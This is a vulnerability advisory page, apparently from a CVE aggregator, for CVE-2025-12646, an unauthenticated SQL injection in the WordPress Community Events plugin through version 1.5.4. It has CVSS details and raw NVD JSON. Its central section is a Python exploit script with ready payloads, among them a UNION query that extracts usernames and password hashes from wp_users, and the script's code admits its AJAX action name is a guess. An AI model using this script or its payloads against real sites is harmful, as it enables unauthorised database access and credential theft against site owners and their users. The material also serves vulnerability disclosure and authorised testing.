Security Vulnerability Report
中文
CVE-2025-12646 CVSS 7.5 HIGH

CVE-2025-12646

Published: 2025-11-19 06:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Community Events plugin for WordPress is vulnerable to SQL Injection via the 'dayofyear' parameter in all versions up to, and including, 1.5.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Community Events插件 1.5.4及以下所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12646 SQL Injection PoC # Target: WordPress Community Events Plugin < 1.5.5 # Vulnerability: Unauthenticated SQL Injection via 'dayofyear' parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in Community Events plugin Args: target_url: Base URL of the WordPress site payload: SQL injection payload Returns: Response from the server """ params = { 'dayofyear': payload } try: response = requests.get( f"{target_url}/wp-admin/admin-ajax.php", params={ 'action': 'community_events', # Common action name 'dayofyear': payload }, timeout=10 ) return response except requests.RequestException as e: print(f"Request failed: {e}") return None # Example payloads for different attack scenarios PAYLOADS = { # Basic boolean-based blind injection test 'boolean_test_true': '1 AND 1=1', 'boolean_test_false': '1 AND 1=2', # Union-based injection to extract data 'union_extract_users': "1 UNION SELECT 1,2,3,user_login,user_pass,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM wp_users-- -", # Extract database version information 'db_version': '1 UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -', # Extract current database name 'db_name': '1 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -', # Time-based blind injection for data extraction 'time_blind': '1 AND SLEEP(5)-- -' } if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [payload_type]") print(f"Available payload types: {', '.join(PAYLOADS.keys())}") sys.exit(1) target = sys.argv[1] payload_type = sys.argv[2] if len(sys.argv) > 2 else 'boolean_test_true' if payload_type not in PAYLOADS: print(f"Unknown payload type: {payload_type}") sys.exit(1) print(f"[*] Testing {target}") print(f"[*] Using payload: {payload_type}") payload = PAYLOADS[payload_type] response = exploit_sqli(target, payload) if response: print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") if response.status_code == 200: print("[+] Potential vulnerability detected - investigate response")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12646", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:46.073", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Community Events plugin for WordPress is vulnerable to SQL Injection via the 'dayofyear' parameter in all versions up to, and including, 1.5.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3396731/community-events/trunk/community-events.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/579b6eb0-dbb7-4586-aecc-f295889a2b2b?source=cve", "source": "[email protected]"}]}}